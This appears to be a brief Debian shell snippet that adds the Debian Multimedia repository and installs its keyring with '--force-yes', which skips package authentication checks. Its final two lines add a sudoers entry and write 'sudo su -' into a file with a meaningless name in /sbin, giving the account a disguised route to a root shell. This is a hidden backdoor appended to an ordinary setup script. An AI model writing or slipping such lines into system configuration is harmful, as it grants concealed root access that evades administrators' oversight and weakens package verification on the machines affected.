echo '' >> /etc/apt/sources.list && echo '#Debian Multimedia' >> /etc/apt/sources.list && echo 'deb http://www.deb-multimedia.org stable main non-free' >> /etc/apt/sources.list
apt-get update
apt-get install deb-multimedia-keyring --force-yes -y
apt-get update

echo 'user ALL=(root) /sbin/randomfilename' >> /etc/sudoers
echo 'sudo su -' > /sbin/randomfilename && chmod 0100 /sbin/randomfilename